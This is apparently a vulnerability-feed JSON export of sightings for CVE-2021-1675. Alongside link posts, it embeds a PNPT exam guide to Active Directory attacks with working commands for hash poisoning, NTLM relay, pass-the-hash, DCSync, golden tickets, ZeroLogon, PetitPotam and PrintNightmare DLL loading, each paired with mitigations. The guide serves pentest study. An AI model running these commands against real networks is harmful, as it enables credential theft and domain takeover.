"2026-08-04T00:00:43.815737Z"}, {"uuid": "a286273a-fdea-4758-b838-c545aa207041", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/1423", "content": "Windows Print Spooler Elevation of Privilege vulnerability (CVE-2021-1675) explained https://thalpius.com/2021/07/16/windows-print-spooler-elevation-of-privilege-vulnerability-cve-2021-1675-explained/", "creation_timestamp": "2026-08-04T00:00:46.033230Z"}, {"uuid": "8b961dd2-9bfd-4979-975b-faca2a03ad09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/reverseame/1665", "content": "Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527) https://github.com/ollypwn/PrintNightmare", "creation_timestamp": "2026-08-04T00:00:48.677824Z"}, {"uuid": "5acedcca-1bf2-4bd4-a85a-d2367e909f7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/1331", "content": "few detection tricks for the existing CVE-2021-1675 POCs:  https://twitter.com/mvelazco/status/1410291741241102338?s=09", "creation_timestamp": "2026-08-04T01:00:21.815558Z"}, {"uuid": "03c4109c-1947-42c9-8669-2d232e3a90b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/1331", "content": "few detection tricks for the existing CVE-2021-1675 POCs:  https://twitter.com/mvelazco/status/1410291741241102338?s=09", "creation_timestamp": "2026-08-03T09:02:14.609087Z"}, {"uuid": "521426a7-a870-4ded-a12b-31f288735559", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/reverseame/1333", "content": "From Lares Labs: Detection & Remediation Information for CVE-2021-1675 & CVE-2021-34527 https://github.com/LaresLLC/CVE-2021-1675", "creation_timestamp": "2026-08-03T09:04:24.898506Z"}, {"uuid": "86b2edef-0979-4710-b958-c10501f3d354", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/reverseame/1335", "content": "More details on CVE-2021-1675 >> https://twitter.com/gentilkiwi/status/1410621282446495749?s=20", "creation_timestamp": "2026-08-03T09:04:24.792868Z"}, {"uuid": "7cf8da4a-dd24-4c1e-ab14-e36d0a9d4207", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "Telegram/qGR49SFbKpxKTLOb8OqaUjBwAY4BRKVDacnjZqS22k5R", "content": "", "creation_timestamp": "2026-08-05T00:00:53.652449Z"}, {"uuid": "0e72704e-a40e-47e3-b43e-2c5cad19a34b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://gist.github.com/sidsecurity/39dfb2f2fbe3bb3a32ae31fdb22febea", "content": "Comprehensive Guide to Active Directory Attacks for PNPT Exam\nThis guide covers all major Active Directory attacks relevant to the Practical Network Penetration Tester (PNPT) certification exam. The PNPT exam assesses your ability to perform external and internal network penetration tests, with heavy emphasis on AD exploitation, lateral movement, and ultimately compromising the Domain Controller.\n\nTable of Contents\nPre-Compromise Enumeration\n\nLLMNR/NBT-NS Poisoning (Responder)\n\nSMB Relay Attacks\n\nKerberoasting\n\nAS-REP Roasting\n\nPassword Spraying\n\nPass-the-Hash (PtH)\n\nDCSync Attack\n\nACL Abuse & BloodHound\n\nUnconstrained Delegation Attacks\n\nADCS Attacks (Certified Pre-Owned)\n\nPetitPotam & NTLM Relay to ADCS\n\nKerberos Golden/Silver Tickets\n\nZeroLogon (CVE-2020-1472)\n\nPrintNightmare (CVE-2021-1675)\n\nnoPac (CVE-2021-42278/CVE-2021-42287)\n\nAttack 1: Pre-Compromise AD Enumeration\nDescription\nBefore executing any attack, you must enumerate the Active Directory environment. This includes discovering domain controllers, users, groups, and shares without any credentials (null session) or with low-privileged accounts.\n\nTools Used\nenum4linux-ng\n\nldapsearch\n\nrpcclient\n\nnmap\n\nCrackMapExec (now netexec)\n\nCommands\nSMB Null Session Enumeration:\n\nbash\n# Enumerate via SMB\nrpcclient -U \"\" -N 192.168.1.10\n> srvinfo\n> enumdomusers\n> enumdomgroups\n\n# Using enum4linux-ng\nenum4linux-ng -A 192.168.1.10\n\n# Using CrackMapExec\nnetexec smb 192.168.1.10 -u '' -p '' --shares\nLDAP Anonymous Enumeration:\n\nbash\n# Basic LDAP query\nldapsearch -x -H ldap://192.168.1.10 -b \"DC=corp,DC=local\"\n\n# Dump all users\nldapsearch -x -H ldap://192.168.1.10 -b \"DC=corp,DC=local\" \"(objectClass=user)\" sAMAccountName userPrincipalName\n\n# Dump all computers\nldapsearch -x -H ldap://192.168.1.10 -b \"DC=corp,DC=local\" \"(objectClass=computer)\" dNSHostName\nDNS Enumeration:\n\nbash\n# Query DC via DNS\nnslookup\n> set type=SRV\n> _ldap._tcp.dc._msdcs.corp.local\n\n# Using adidnsdump\nadidnsdump -u corp.local\\\\jsmith -p Password123 --dns-tcp 192.168.1.10\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 1: enum4linux-ng output showing domain users and groups]\n\nCaption: enum4linux-ng successful enumeration of domain users from null session\nMitigation\nDisable anonymous LDAP binds\n\nRestrict null session access via HKLM\\System\\CurrentControlSet\\Control\\LSA\\RestrictAnonymous\n\nEnable SMB signing\n\nAttack 2: LLMNR/NBT-NS Poisoning (Responder)\nDescription\nWhen a host cannot resolve a name via DNS, it falls back to Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS). Responder listens for these requests and responds, capturing NTLMv2 hashes from the requesting machine.\n\nTools Used\nResponder (Kali Linux)\n\nInveigh (Windows)\n\nCommands\nStart Responder in Analyze Mode (safe enumeration):\n\nbash\nsudo responder -I eth0 -A\nStart Responder in Poisoning Mode:\n\nbash\nsudo responder -I eth0 -wFvP\nConfigure Responder for SMB Relay (disable SMB/HTTP):\nEdit /usr/share/responder/Responder.conf:\n\nini\n[Responder Core]\n; Servers to start\nSMB = Off\nHTTP = Off\nSQL = On\nFTP = On\nbash\nsudo responder -I eth0 -wFvP\nWindows Alternative (Inveigh):\n\npowershell\n# Load and run Inveigh\nImport-Module .\\Inveigh.ps1\nInvoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 2: Responder capturing NTLMv2 hash from a compromised host]\n\nCaption: Responder captures NTLMv2 hash for user 'jsmith' from host 192.168.1.100\nCracking Captured Hashes\nbash\n# Save hash to file (NTLMv2 format)\nhashcat -m 5600 responder_hash.txt /usr/share/wordlists/rockyou.txt -O\nMitigation\nDisable LLMNR and NBT-NS via Group Policy\n\nEnable Network Access Control\n\nRequire SMB signing\n\nAttack 3: SMB Relay Attack\nDescription\nInstead of cracking captured hashes, you can relay them directly to another machine to authenticate. If the target machine has SMB signing disabled, you can execute commands or dump SAM hashes.\n\nPrerequisites\nTarget must have SMB signing disabled\n\nCaptured hash must be from a user with admin privileges on target\n\nCommands\nCheck for SMB Signing Disabled:\n\nbash\nnmap --script=smb2-security-mode.nse -p445 192.168.1.0/24\nStart NTLM Relay (single target):\n\nbash\nntlmrelayx.py -t 192.168.1.20 -smb2support\nRelay to Multiple Targets:\n\nbash\nntlmrelayx.py -tf targets.txt -smb2support\nExecute Command via Relay:\n\nbash\nntlmrelayx.py -t 192.168.1.20 -smb2support -c \"whoami\"\nGenerate Interactive Shell:\n\nbash\n# Start relay with reverse shell\nntlmrelayx.py -t 192.168.1.20 -smb2support -i\n# Then connect to the interactive shell\nnc 127.0.0.1 11000\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 3: ntlmrelayx.py successfully relaying to target and dumping SAM]\n\nCaption: Successful SMB relay attack dumping local SAM hashes from target 192.168.1.20\nMitigation\nEnable SMB signing on all systems\n\nDisable NTLM authentication where possible\n\nImplement SMB over QUIC for modern environments\n\nAttack 4: Kerberoasting\nDescription\nAny authenticated domain user can request a Kerberos Ticket Granting Service (TGS) ticket for any service account with a Service Principal Name (SPN). The TGS is encrypted with the service account's NTLM hash, allowing offline cracking.\n\nTools Used\nGetUserSPNs.py (Impacket)\n\nRubeus.exe (Windows)\n\nPowerView\n\nCommands\nLinux - Extract all SPNs:\n\nbash\npython3 GetUserSPNs.py -dc-ip 192.168.1.10 corp.local/jsmith:Password123 -request\nSave Hashes for Cracking:\n\nbash\npython3 GetUserSPNs.py -dc-ip 192.168.1.10 corp.local/jsmith:Password123 -request -outputfile kerberoast_hashes.txt\nCrack with Hashcat:\n\nbash\n# Mode 13100 = Kerberos 5 TGS-REP (etype 23)\nhashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -O\nWindows - Using Rubeus:\n\npowershell\n# Request all SPNs\nRubeus.exe kerberoast /outfile:hashes.txt\n\n# Request specific SPN\nRubeus.exe kerberoast /spn:\"MSSQLSvc/sql.corp.local\" /nowrap\nUsing PowerView:\n\npowershell\n# Find all SPNs\nGet-DomainUser -SPN | Select-Object samAccountName, ServicePrincipalName\n\n# Request TGS\nGet-DomainUser -SPN | Request-SPNTicket\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 4: GetUserSPNs.py output with hash for svc_sql account]\n\nCaption: Kerberoasting attack successfully extracts TGS ticket for svc_sql account\nMitigation\nUse long, complex passwords (25+ characters) for service accounts\n\nUse Group Managed Service Accounts (gMSA)\n\nMonitor Event ID 4769 for unusual TGS requests\n\nAttack 5: AS-REP Roasting\nDescription\nAccounts with \"Do not require Kerberos preauthentication\" enabled will respond to authentication requests with an AS-REP message encrypted with the user's password hash. This attack requires NO valid credentials.\n\nCommands\nFind and Roast All Vulnerable Users:\n\nbash\npython3 GetNPUsers.py corp.local/ -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt\nTarget a Specific User:\n\nbash\npython3 GetNPUsers.py corp.local/jsmith -request -format hashcat\nCrack AS-REP Hashes:\n\nbash\n# Mode 18200 = Kerberos 5 AS-REP (etype 23)\nhashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -O\nWindows - Using Rubeus:\n\npowershell\n# Find users with preauth disabled\nRubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 5: GetNPUsers.py successfully retrieving AS-REP hash for user 'svc_backup']\n\nCaption: AS-REP Roasting attack retrieves crackable hash without any authentication\nMitigation\nAudit accounts with preauthentication disabled\n\npowershell\nGet-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth\nEnable preauthentication on all accounts\n\nMonitor Event ID 4768 with error code 0x0\n\nAttack 6: Password Spraying\nDescription\nInstead of brute-forcing one account, password spraying attempts one common password against many accounts. This stays under the lockout threshold.\n\nCommands\nUsing CrackMapExec:\n\nbash\nnetexec smb 192.168.1.10 -u users.txt -p 'Winter2025!' --continue-on-success\nUsing DomainPasswordSpray.ps1:\n\npowershell\nImport-Module .\\DomainPasswordSpray.ps1\nInvoke-DomainPasswordSpray -Password Winter2025!\nUsing Kerbrute:\n\nbash\n# Password spray using Kerberos\nkerbrute passwordspray -d corp.local --dc 192.168.1.10 users.txt \"Winter2025!\"\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 6: CrackMapExec successful password spray finding valid credentials]\n\nCaption: Password spray discovers valid credentials for multiple users\nMitigation\nImplement Azure AD Password Protection\n\nUse Fine-Grained Password Policies for privileged accounts\n\nEnable SIEM alerting for distributed failed authentication\n\nAttack 7: Pass-the-Hash (PtH)\nDescription\nWindows NTLM authentication allows authentication using only the hash of a password. Once an NTLM hash is obtained, an attacker can authenticate without ever knowing the plaintext password.\n\nCommands\nUsing CrackMapExec:\n\nbash\nnetexec smb 192.168.1.20 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c\nUsing Impacket:\n\nbash\n# Using psexec\npython3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c administrator@192.168.1.20\n\n# Using wmiexec\npython3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c administrator@192.168.1.20\n\n# Using smbexec\npython3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c administrator@192.168.1.20\nWindows - Using Mimikatz:\n\npowershell\n# Pass the hash\nsekurlsa::pth /user:Administrator /domain:corp.local /ntlm:8846f7eaee8fb117ad06bdd830b7586c\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 7: psexec.py successful pass-the-hash attack gaining shell]\n\nCaption: Pass-the-Hash attack successfully creates remote shell using only NTLM hash\nMitigation\nEnable Protected Users group for privileged accounts\n\nImplement Credential Guard (VBS)\n\nEnforce tiered administration models\n\nDisable NTLM where possible\n\nAttack 8: DCSync Attack\nDescription\nIf an account has \"Replicating Directory Changes\" permissions, it can impersonate a Domain Controller and request replication of AD data, including password hashes for ANY account, including krbtgt and Domain Admins.\n\nCommands\nDump Specific User Hash:\n\nbash\npython3 secretsdump.py corp.local/domainadmin:Password123@192.168.1.10 -just-dc-user krbtgt\nDump All NTLM Hashes:\n\nbash\npython3 secretsdump.py corp.local/domainadmin:Password123@192.168.1.10 -just-dc-ntlm\nDump Entire NTDS.dit:\n\nbash\npython3 secretsdump.py corp.local/domainadmin:Password123@192.168.1.10 -just-dc\nUsing Mimikatz (if on DC or with appropriate rights):\n\npowershell\nlsadump::dcsync /user:krbtgt\nlsadump::dcsync /domain:corp.local /user:administrator\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 8: secretsdump.py successful DCSync extracting krbtgt hash]\n\nCaption: DCSync attack extracts krbtgt hash, enabling Golden Ticket creation\nMitigation\nRestrict replication rights to only Domain Controllers\n\nAudit DCSync rights using BloodHound\n\npowershell\n(Get-Acl \"AD:\\DC=corp,DC=local\").Access | Where-Object { $_.ActiveDirectoryRights -match \"DS-Replication\" }\nMonitor Event ID 4662 for replication access\n\nAttack 9: ACL Abuse & BloodHound\nDescription\nActive Directory objects have Access Control Lists that can be misconfigured. A helpdesk account might have GenericAll on a Domain Admin account, or WriteDACL allowing modification of permissions.\n\nCommands\nCollect Data with BloodHound.py:\n\nbash\nbloodhound-python -u jsmith -p Password123 -d corp.local -dc 192.168.1.10 -c All --zip\nCollect Using SharpHound (Windows):\n\npowershell\n# Ingest all data\nSharpHound.exe -c All\n\n# With specific domain controller\nSharpHound.exe -c All -d corp.local -dc dc.corp.local\nAbuse GenericWrite to Add to Group:\n\npowershell\nAdd-DomainGroupMember -Identity \"Domain Admins\" -Members \"jsmith\"\nAbuse WriteDACL to Grant DCSync Rights:\n\npowershell\nAdd-DomainObjectAcl -TargetIdentity \"DC=corp,DC=local\" -PrincipalIdentity jsmith -Rights DCSync\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 9: BloodHound GUI displaying attack path from user to Domain Admin]\n\nCaption: BloodHound visualization shows shortest path to Domain Admin via ACL misconfigurations\nMitigation\nRun BloodHound defensively on a schedule\n\nAudit all non-default ACL entries\n\nImplement tiered administration\n\nUse tools like ADACLScanner for bulk reporting\n\nAttack 10: Unconstrained Delegation Attacks\nDescription\nWhen a computer has unconstrained delegation enabled, it stores TGTs of any user that authenticates to it. By coercing a Domain Controller to authenticate (via PrinterBug or PetitPotam), the attacker can capture a Domain Admin TGT.\n\nCommands\nFind Systems with Unconstrained Delegation:\n\npowershell\n# Using PowerView\nGet-DomainComputer -Unconstrained | Select-Object samAccountName, dnshostname\n\n# Using AD PowerShell\nGet-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation, ServicePrincipalName\nMonitor for TGTs with Rubeus:\n\npowershell\nRubeus.exe monitor /interval:5 /nowrap\nCoerce Authentication with PrinterBug:\n\nbash\npython3 printerbug.py corp.local/username:password@TARGET_DC_IP VICTIM_IP\nExtract TGT and Pass-the-Ticket:\n\npowershell\nRubeus.exe ptt /ticket:\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 10: Rubeus monitoring captures Domain Admin TGT after coercion]\n\nCaption: Unconstrained delegation attack captures DC TGT, granting Domain Admin access\nMitigation\nAvoid unconstrained delegation entirely\n\nUse constrained delegation or RBCD with explicit restrictions\n\nAudit for TrustedForDelegation accounts\n\nAttack 11: ADCS Attacks (Certified Pre-Owned)\nDescription\nActive Directory Certificate Services (AD CS) misconfigurations allow attackers to request certificates for arbitrary users, including Domain Admins, leading to complete domain compromise.\n\nCommands\nEnumerate AD CS with Certipy:\n\nbash\n# Find vulnerable templates\ncertipy-ad find -u jsmith@corp.local -p Password123 -dc-ip 192.168.1.10\n\n# Save output\ncertipy-ad find -u jsmith@corp.local -p Password123 -vulnerable -output adcs_enum\nRequest Certificate via Vulnerable Template:\n\nbash\ncertipy-ad req -u jsmith@corp.local -p Password123 -ca CORP-DC-CA -template User -dc-ip 192.168.1.10\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 11: Certipy find output showing vulnerable certificate templates]\n\nCaption: Certipy enumerates AD CS and identifies ESC1 vulnerability (Client Authentication template)\nMitigation\nDisable vulnerable certificate templates\n\nEnforce manager approval for sensitive templates\n\nImplement certificate auditing\n\nAttack 12: PetitPotam & NTLM Relay to ADCS\nDescription\nPetitPotam coerces a Domain Controller to authenticate to an attacker-controlled server. Combined with NTLM relay to ADCS HTTP endpoints, this yields a certificate for the DC, allowing DCSync and full domain compromise.\n\nPrerequisites\nAD CS server with Web Enrollment enabled\n\nDomain Controller unpatched for CVE-2021-36942\n\nCommands\nSetup NTLM Relay to ADCS:\n\nbash\npython3 ntlmrelayx.py -debug -smb2support --target http://adcs.corp.local/certsrv/certfnsh.asp --adcs --template DomainController\nRun PetitPotam to Coerce DC:\n\nbash\npython3 PetitPotam.py ATTACKER_IP DC_IP\nExtract Certificate (Linux):\n\nbash\n# Save base64 certificate\ncat base64 | base64 -d > certificate.pfx\n\n# Request TGT with PKINIT\npython3 gettgtpkinit.py corp.local/DC01$ -cert-pfx certificate.pfx out.ccache\n\n# Set cache\nexport KRB5CCNAME=out.ccache\n\n# DCSync using TGT\npython3 secretsdump.py -k -no-pass corp.local/DC01\\$@DC01.corp.local\nWindows Alternative using Rubeus:\n\npowershell\n# Request TGT from certificate\nRubeus.exe asktgt /user:DC01$ /certificate: /ptt\n\n# DCSync\nmimikatz \"lsadump::dcsync /user:krbtgt\"\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 12: PetitPotam coercing DC to authenticate to ntlmrelayx]\n\nCaption: PetitPotam forces Domain Controller authentication, captured by ntlmrelayx\nMitigation\nApply Microsoft patch KB5005413\n\nDisable NTLM on AD CS servers\n\nEnable EPA (Extended Protection for Authentication)\n\nAttack 13: Kerberos Golden/Silver Tickets\nDescription\nWith the krbtgt hash, attackers create Golden Tickets - valid TGTs for ANY user (including non-existent ones). Silver Tickets target specific services using service account hashes.\n\nGolden Ticket Commands\nUsing Mimikatz:\n\npowershell\n# Create Golden Ticket for Domain Admin\nkerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:HASH /id:500 /ptt\n\n# Create Golden Ticket with custom expiry\nkerberos::golden /user:EvilAdmin /domain:corp.local /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:HASH /startoffset:0 /endin:600 /renewmax:10080 /ptt\nUsing Impacket (Linux):\n\nbash\npython3 ticketer.py -nthash KRBTGT_HASH -domain-sid DOMAIN_SID -domain corp.local Administrator\nexport KRB5CCNAME=Administrator.ccache\nSilver Ticket Commands\nCreate Silver Ticket for CIFS Service:\n\npowershell\nkerberos::golden /user:EvilUser /domain:corp.local /sid:S-1-5-21-123456789-123456789-123456789 /target:DC01.corp.local /service:cifs /rc4:MACHINE_ACCOUNT_HASH /ptt\nAccess DC with Silver Ticket:\n\nbash\n# Using the ticket to access CIFS\npython3 psexec.py -k corp.local/EvilUser@DC01.corp.local\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 13: Mimikatz Golden Ticket creation and successful psexec to DC]\n\nCaption: Golden Ticket allows complete Domain Controller access without valid credentials\nMitigation\nRotate krbtgt password twice (after DC compromise)\n\nEnable KRBTGT password rotation automation\n\nMonitor for anomalous TGT requests (Event ID 4768)\n\nLimit lifetime of Kerberos tickets\n\nAttack 14: ZeroLogon (CVE-2020-1472)\nDescription\nA critical vulnerability in Netlogon protocol (MS-NRPC) allows attackers to set the machine account password of a Domain Controller to an empty string, then DCSync as that DC.\n\nCommands\nCheck if Vulnerable:\n\nbash\npython3 zerologon_tester.py DC01 192.168.1.10\nExploit to Change DC Password:\n\nbash\npython3 cve-2020-1472-exploit.py DC01 192.168.1.10\nAfter Exploit - DCSync:\n\nbash\npython3 secretsdump.py corp.local/DC01\\$@192.168.1.10 -no-pass\nRestore Original Password (Critical!):\n\nbash\n# Extract original password hash from DCSync results\npython3 restorepassword.py DC01@DC01.corp.local -target-ip 192.168.1.10 -hexpass ORIGINAL_HASH\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 14: ZeroLogon exploit successfully changing DC machine account password]\n\nCaption: ZeroLogon vulnerability exploited, enabling DCSync with empty password\nMitigation\nApply Windows updates from August 2020\n\nEnable enforced Netlogon signing\n\nMonitor for Event ID 5829, 5830, 5831\n\nAttack 15: PrintNightmare (CVE-2021-1675)\nDescription\nThe Print Spooler service on Windows allows remote attackers to execute arbitrary code with SYSTEM privileges. This affects Domain Controllers and member servers.\n\nCommands\nRemote DLL Injection Exploit:\n\nbash\n# Using CVE-2021-1675.py\npython3 CVE-2021-1675.py corp.local/username:password@TARGET_IP /path/to/malicious.dll\nUsing Impacket Version:\n\nbash\npython3 printerbug.py -dll /path/to/malicious.dll corp.local/username:password@TARGET_IP\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 15: PrintNightmare exploitation yielding SYSTEM shell on DC]\n\nCaption: PrintNightmare vulnerability exploited to gain SYSTEM privileges on Domain Controller\nMitigation\nDisable Print Spooler service on Domain Controllers\n\nApply Microsoft security patches\n\nImplement print service hardening\n\nAttack 16: noPac (CVE-2021-42278/CVE-2021-42287)\nDescription\nA chain of two vulnerabilities affecting all Windows Domain Controllers. It allows a standard domain user to impersonate a Domain Controller and request a TGT for Domain Admin.\n\nCommands\nUsing noPac.py:\n\nbash\n# Request Service Ticket to domain controller\npython3 noPac.py corp.local/jsmith:Password123 -dc-ip 192.168.1.10 -dc-host DC01.corp.local -shell --impersonate Administrator\n\n# Or with hash\npython3 noPac.py corp.local/jsmith -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c -dc-ip 192.168.1.10\nManual Exploitation with Rubeus:\n\npowershell\n# Add machine account\nAdd-MachineAccount -MachineAccount EvilPC -Password Password123\n\n# Clear SPNs\nSet-ADComputer EvilPC -ServicePrincipalNames @{}\n\n# Change hostname to DC\nSet-ADComputer EvilPC -DnsHostname DC01.corp.local\n\n# Request TGT\nRubeus.exe asktgt /user:EvilPC$ /password:Password123 /domain:corp.local /dc:DC01.corp.local /nowrap\nSample Output\ntext\n[SCREENSHOT PLACEHOLDER - Figure 16: noPac.py successfully obtaining DA shell from standard user]\n\nCaption: noPac attack chain escalates from low-privilege user to Domain Admin shell\nMitigation\nApply Microsoft patches (October 2021 and later)\n\nMonitor for computer account name changes (Event ID 4742)\n\nImplement PAC validation\n\nTools Reference Summary\nTool\tPurpose\tSource\nResponder\tLLMNR/NBT-NS poisoning\tKali default\nImpacket Suite\tVarious AD attacks\tpipx install impacket\nBloodHound\tAttack path mapping\tKali default\nRubeus\tKerberos abuse\tGitHub\nMimikatz\tCredential extraction\tGitHub\nCrackMapExec (netexec)\tSwiss Army knife for AD\tKali default\nCertipy\tAD CS enumeration/abuse\tsudo apt install certipy-ad\nKerbrute\tUser enumeration\tKali default\n", "creation_timestamp": "2026-05-31T23:19:52.000000Z"}, {"uuid": "7c1871ca-d4e3-404b-ba7f-0cea4d8647a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/purp_sec/1291", "content": "\u26a0\ufe0f \u0411\u0430\u0433 \u0432 Windows Print Spooler \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0438\u043b\u0438 \u0433\u043e\u0441\u0442\u0435\u0432\u043e\u0439 \u0443\u0447\u0435\u0442\u043a\u043e\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u0437\u0432\u0430\u0442\u044c DoS \u0441\u043b\u0443\u0436\u0431\u044b \u043f\u0435\u0447\u0430\u0442\u0438 spoolsv.exe\n\nPrint Spooler (spoolsv.exe) \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 Windows, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0447\u0435\u0440\u0435\u0434\u044c\u044e \u043f\u0435\u0447\u0430\u0442\u0438 \u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c\u0438 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430\u043c\u0438. \u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 SYSTEM \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 MS-RPC.\n\nPrint Spooler \u0443\u0436\u0435 \u0431\u044b\u043b\u0430 \u0432 \u0446\u0435\u043d\u0442\u0440\u0435 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f PrintNightmare (CVE-2021-34527, RCE), CVE-2021-1675 (\u043e\u0431\u0445\u043e\u0434 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u043e\u0432) \u0438 PrintDemon (CVE-2020-1048,  \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439). \u0418 \u0432\u043e\u0442, \u043a\u0430\u043a \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f, \u043e\u043f\u044f\u0442\u044c. \ud83d\udc08\n\n\u041d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 \u0441\u043b\u0430\u0431\u043e\u0441\u0442\u044c \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 RPC-\u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435\u043c \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u043e\u0432 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0438\u043c\u0438.\n\n\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432 \u0442\u0440\u0438 \u044d\u0442\u0430\u043f\u0430:\n\n\ud83d\udd35 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 